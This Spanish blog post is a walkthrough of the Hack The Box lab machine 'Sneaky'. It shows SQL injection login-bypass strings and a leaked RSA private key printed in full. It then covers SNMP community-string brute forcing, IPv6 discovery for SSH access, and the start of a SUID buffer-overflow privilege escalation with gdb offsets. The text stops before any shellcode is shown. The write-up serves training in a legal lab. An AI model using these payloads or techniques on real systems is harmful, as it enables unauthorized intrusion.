Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

Maquina Retirada Sneaky de Hack The Box (Necesario VIP)

Sneaky ~ Hack The Box

$" nmap -p- --open -sS -T5 -v -n -Pn -oG allports 10.10.10.20       "

Procedemos con el siguiente escaneo de Nmap

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Under Development!

Efectuamos un reconocimiento con la herramienta whatweb en el puerto HTTP:

# wtw 10.10.10.20                                                                                                            
http://10.10.10.20 [200 OK] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.20], Title[Under Development!]

Haciendo FUZZING web:

#" wfuzz -c -L --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt http://10.10.10.20/FUZZ    " 

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                   
=====================================================================
                                                                                 
000000810:   200        14 L     32 W       464 Ch      "dev"  

Encontramos un directorio, procedemos a hecharle un vistazo visual a la ruta y a la web: vemos que es un Loguin super Cutre Probamos con Injecciones sql Basicas

# admin' or 1=1-- -
# admin' or 1=1;-- -  	>>> Nos devuelve un user

			"	name: admin             "
			" 	name: thrasivoulos        "

Y una Clave Id_rsa (clave privada)

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

Como tenemos una clave SSH y el puerto 22 no nos aparece abierto (x reglas de firewall o iptables) para IPV4. Pensamos que si conseguimos la direccion macc de la maquina podremos probar via IPV6 realizando el escaneo atraves de la macc para ipv6.

Vamos a hacer uso de herramientas como SNMPWALK Para ello vamos a enumerar un SERVICIO UDP llamado SNMP.

# nmap -p161 -sU --open -T5 -vvv -n -Pn 10.10.10.20           
PORT    STATE         SERVICE REASON
161/udp open|filtered snmp    no-response

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
           Raw packets sent: 2 (149B) | Rcvd: 0 (0B)

Como vemos no nos reporta que este abierto correctamienta asique vamos a usar la herramienta Onesixtyone para hacer fuerza bruta a este servicio y encontrar la Community-String Vale pues buscando un Diccionario para averiguar la community Strings del servicio SNMP necesitamos hacer uso de otra herramienta que se llama ONESIXTYONE

# onesixtyone -c common-snmp-community-strings-onesixtyone.txt 10.10.10.20 
Scanning 1 hosts, 121 communities
10.10.10.20 [public] Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686
10.10.10.20 [public] Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686

Ahi la tenemos: Linux Sneaky 4.4.0-75-generic

Ahora procedemos a con la herramienta SNMPWALK

# snmpwalk -v2c -c public 10.10.10.20
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (351310) 0:58:33.10
iso.3.6.1.2.1.1.4.0 = STRING: "root"
iso.3.6.1.2.1.1.5.0 = STRING: "Sneaky"
iso.3.6.1.2.1.1.6.0 = STRING: "Unknown"
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (1) 0:00:00.01

Esto como vemos nos va a listar un monton de informacion! Y a nosotros nos interesa ver si podemos ver informacion de las INTERFACES para ver si podemos conseguir la MAC ADDRESS Aparte para ello vamos a instalar una utilidad nueva para que nos traduzca el output de SNMPWALK

Instalandolo # apt install snmp-mibs-downloader -y 

Ahora volvemos a usar SNMPWALK

# snmpwalk -v2c -c public 10.10.10.20
SNMPv2-MIB::sysDescr.0 = STRING: Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (363286) 1:00:32.86
SNMPv2-MIB::sysContact.0 = STRING: root
SNMPv2-MIB::sysName.0 = STRING: Sneaky
SNMPv2-MIB::sysLocation.0 = STRING: Unknown
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORID.1 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.6 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.7 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.8 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.2 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.3 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.2 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.3 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.4 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.5 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.6 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.7 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.8 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.9 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.10 = Timeticks: (1) 0:00:00.01
IF-MIB::ifNumber.0 = INTEGER: 2
IF-MIB::ifIndex.1 = INTEGER: 1

Otra Forma de sacar la MAC address:

# locate .nse |  grep snmp                                                                                                                         130 ⨯
/usr/share/nmap/scripts/snmp-brute.nse
/usr/share/nmap/scripts/snmp-hh3c-logins.nse
/usr/share/nmap/scripts/snmp-info.nse
/usr/share/nmap/scripts/snmp-interfaces.nse					ESTE SERIA EL BUENO, vamos a usarlo
/usr/share/nmap/scripts/snmp-ios-config.nse
/usr/share/nmap/scripts/snmp-netstat.nse
/usr/share/nmap/scripts/snmp-processes.nse
/usr/share/nmap/scripts/snmp-sysdescr.nse
/usr/share/nmap/scripts/snmp-win32-services.nse
/usr/share/nmap/scripts/snmp-win32-shares.nse
/usr/share/nmap/scripts/snmp-win32-software.nse
/usr/share/nmap/scripts/snmp-win32-users.nse

Aqui procedemos a usar el script de NMAP snmp-interfaces.nse

# nmap --script snmp-interfaces.nse -p161 -sU -vvv -n 10.10.10.20 -oN t-SNMPInterfaces

PORT    STATE SERVICE REASON
161/udp open  snmp    script-set
| snmp-interfaces: 
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Status: up
|     Traffic stats: 8.93 Kb sent, 8.93 Kb received
|   eth0
|     IP address: 10.10.10.20  Netmask: 255.255.255.0
|     MAC address: 00:50:56:b9:04:bd (VMware)						Aqui tenemos la MAC Adress
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Status: up
|_    Traffic stats: 8.07 Mb sent, 5.97 Mb received

Atraves de La Dirrecion MAC nosotros podemos:

  • Computar la Unique Local Address
  • Como?

Paso 1.- # dead:beef : : 00:50:56:b9:04:bd Paso 2.- # dead:beef : : 02:50:56ff:feb9:04:bd y faltaria dividirlo en pares de 4 Paso 3 .- # dead:beef::0250:56ff:feb9:04bd cuando tiene un 0 al principio se puede omitir Paso final 4.- # dead:beef::250:56ff:feb9:04bd Esta seria la Unique Local Adress

Y si probamos a enviarle una traza icmp por IPV6 vemos que nos responde correctamente.

# ping -c 10 dead:beef::250:56ff:feb9:04bd                                                                                                           2 ⨯
PING dead:beef::250:56ff:feb9:04bd(dead:beef::250:56ff:feb9:4bd) 56 data bytes
64 bytes from dead:beef::250:56ff:feb9:4bd: icmp_seq=1 ttl=63 time=77.8 ms
64 bytes from dead:beef::250:56ff:feb9:4bd: icmp_seq=2 ttl=63 time=39.5 ms
64 bytes from dead:beef::250:56ff:feb9:4bd: icmp_seq=3 ttl=63 time=39.7 ms
64 bytes from dead:beef::250:56ff:feb9:4bd: icmp_seq=4 ttl=63 time=39.5 ms
^C
--- dead:beef::250:56ff:feb9:04bd ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 39.503/49.144/77.808/16.548 ms

Ahora con Nmap podriamos volver a hacer el escaneo del principio pero en este caso jugando con el parameto -6 para indicarle que es un escaneo via IPV6

# nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn dead:beef::250:56ff:feb9:04bd -6 -oG allportsIPV6

Scanning dead:beef::250:56ff:feb9:4bd [65535 ports]
Discovered open port 80/tcp on dead:beef::250:56ff:feb9:4bd
Discovered open port 22/tcp on dead:beef::250:56ff:feb9:4bd
Completed SYN Stealth Scan at 12:02, 12.34s elapsed (65535 total ports)
Nmap scan report for dead:beef::250:56ff:feb9:4bd

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Por lo que el siguiente paso ya seria establecer la conexion via SSH por IPV6

Accediendo a la Maquina via MAC(Unique Local Address) por SSH en IPV6

Atraves de SSH por ipv6 con el user encontrado via injeccion sql en el loguin web y la Unique Local Adress computada atraves de la Mac obtenida con el script de nmap snmp-interfaces.nse

# ssh -i id_rsa thrasivoulos@dead:beef::250:56ff:feb9:4bd 
The authenticity of host 'dead:beef::250:56ff:feb9:4bd (dead:beef::250:56ff:feb9:4bd)' can't be established.
ECDSA key fingerprint is SHA256:KCwXgk+ryPhJU+UhxyHAO16VCRFrty3aLPWPSkq/E2o.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dead:beef::250:56ff:feb9:4bd' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Wed May 26 11:25:33 EEST 2021

  System load: 0.0               Memory usage: 4%   Processes:       176
  Usage of /:  9.9% of 18.58GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Sun May 14 20:22:53 2017 from dead:beef:1::1077
thrasivoulos@Sneaky:~$ 

Aqui conseguimos acceso correctamente, y el siguiente paso es leer la flag user.txt

thrasivoulos@Sneaky:~$ ls
user.txt
thrasivoulos@Sneaky:~$ cat user.txt 
9fe14f76222db23a770f201xxxxxxxxxx

Escalada de privilegios via BufferOverFlow gracias a un binario SUID

thrasivoulos@Sneaky:~$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
" /usr/local/bin/chal		BOF Buffer Over Flow"
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/at
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device

Procedemos a ejecutar el binario “chal” y nos devuelve un segmentation Fault (Buffer over Flow) Ahora la idea es ver que ocurre por detras en este programita para poder abusar de el mediante un Buffer Over Flow Para ello vamos a convertirnos el codigo del binario en base64 para traernoslo a nuestra maquina y poder pasarle utilidades como “ltrace | strace | strings”

thrasivoulos@Sneaky:/usr/bin$ which chal | xargs base64 -w0
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAIIMECDQAAABUEQAAAAAAADQAIAAJACgAHgAbAAYAAAA0AAAANIAECDSABAggAQAAIAEAAAUAAAAEA.. ETC ETC ... binario en BASE64 ... ETC ETC

Una vez copiado el base64 procedemos en nuestra maquina:

"echo “base64 de chall” | base64 -d >> chall"
"chmod +x chall"
"ltrace ./chall"
# ltrace ./chall                                                                                                                                   139 ⨯
__libc_start_main(0x804841d, 1, 0xffcc0374, 0x8048450 <unfinished ...>
strcpy(0xffcc0162, nil <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Cuando se usa este funcion strcpy vemos que se puede abusar de ella (Es peligrosa, y potencialmente vulnerable)

# ./chall $(python -c 'print "A"*500') 
zsh: segmentation fault  ./chall $(python -c 'print "A"*500')

Aqui le pasamos 500 A y el programa peta.

Para instalar gdb-peda tiramos de “apt” Posteriormente tendriamos que instalar “peda” desde https://github.com/longld/peda SEGUIR LOS PASOS DE PEDA Usamos gdb para pasarle el payload de 500 “A” y analizar la pila a bajo nivel con gdb

# gdb ./chall                                                                                                                                      139 ⨯
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./chall...
(No debugging symbols found in ./chall)
(gdb)  r $(python -c 'print "A"*500') 
Starting program: /home/pro/Escritorio/HTB/Sneaky/exploits/chall $(python -c 'print "A"*500')

Program received signal SIGSEGV, Segmentation fault.
"0x41414141" in ?? ()
(gdb) 

Tenemos el EIP Sobrescrito con nuestras AAA'S Ahora cuantas AAA.. tenemos que poner hasta llegar al EIP? Eso lo calculamos de la siguiente forma:

Con pattern_create 500como comando creamos unos caracteres especiales para averiguar cuantas AAAA.. tenemos que poner hasta llegar al EIP

#gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAAp
AATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%
MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2A
sHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

Ahora le pasamos al programa estos caracteres especialmente creados por Pattern_create para detectar cuando se esta sobrescribiento el EIP

# gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAm
AARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGA
scAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

Starting program: /home/pro/Escritorio/HTB/Sneaky/exploits/chall 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd730 --> 0x413673 ('s6A')
EDX: 0xffffd3a3 --> 0x413673 ('s6A')
ESI: 0xf7fa9000 --> 0x1e4d6c 
EDI: 0xf7fa9000 --> 0x1e4d6c 
EBP: 0x41712541 ('A%qA')
ESP: 0xffffd320 ("rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
EIP: 0x25415525 ('%UA%')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x25415525
[------------------------------------stack-------------------------------------]
0000| 0xffffd320 ("rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0004| 0xffffd324 ("A%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0008| 0xffffd328 ("%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0012| 0xffffd32c ("uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0016| 0xffffd330 ("A%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0020| 0xffffd334 ("%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0024| 0xffffd338 ("wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
0028| 0xffffd33c ("A%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
"0x25415525" in ?? ()

Ya tenemos el Offset 0x25415525, asique procedemos a usar pattern_offset para averiguar el numero de caracteres en Hexadecimal hasta sobrescribir el EIP

# gdb-peda$ pattern_offset 0x25415525
625038629 found at offset: "362"

Ahora vamos a verificar que tenemos el control del EIP para luego pasarle una direccion que apunte a un poco antes de nuestro SHELLCODE. Para ello vamos a ejecutar el siguiente comando:

gdb-peda$ r $(python -c 'print "A"*362 + "B"*4')
Starting program: /home/pro/Escritorio/HTB/Sneaky/exploits/chall $(python -c 'print "A"*362 + "B"*4')

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd730 --> 0x424242 ('BBB')
EDX: 0xffffd39d --> 0x424242 ('BBB')
ESI: 0xf7fa9000 --> 0x1e4d6c 
EDI: 0xf7fa9000 --> 0x1e4d6c "
EBP: 0x41414141 ('AAAA')"
ESP: 0xffffd3a0 --> 0x0 "
EIP: 0x42424242 ('BBBB')    "
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242

[------------------------------------stack-------------------------------------]
0000| 0xffffd3a0 --> 0x0 
0004| 0xffffd3a4 --> 0xffffd444 --> 0xffffd596 ("/home/pro/Escritorio/HTB/Sneaky/exploits/chall")
0008| 0xffffd3a8 --> 0xffffd450 --> 0xffffd734 ("COLORTERM=truecolor")
0012| 0xffffd3ac --> 0xffffd3d4 --> 0x0 
0016| 0xffffd3b0 --> 0xffffd3e4 --> 0xbaa14230 
0020| 0xffffd3b4 --> 0xf7ffdb40 --> 0xf7ffdae0 --> 0xf7fca3e0 --> 0xf7ffd980 --> 0x0 
0024| 0xffffd3b8 --> 0xf7fca410 --> 0x804825e ("GLIBC_2.0")
0028| 0xffffd3bc --> 0xf7fa9000 --> 0x1e4d6c 
[------------------------------------------------------------------------------]

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
"0x42424242" in ?? ()

Perfecto como se aprecia Ya tenemos el EBP sobrescrito con AAAA, pero controlamos el EIP con nuestras BBBB

Usamos : “ i r ” Para obtener informacion de los registros:

gdb-peda$ i r
eax            0x0                 0x0
ecx            0xffffd730          0xffffd730
edx            0xffffd39d          0xffffd39d
ebx            0x0                 0x0
esp            0xffffd3a0          0xffffd3a0
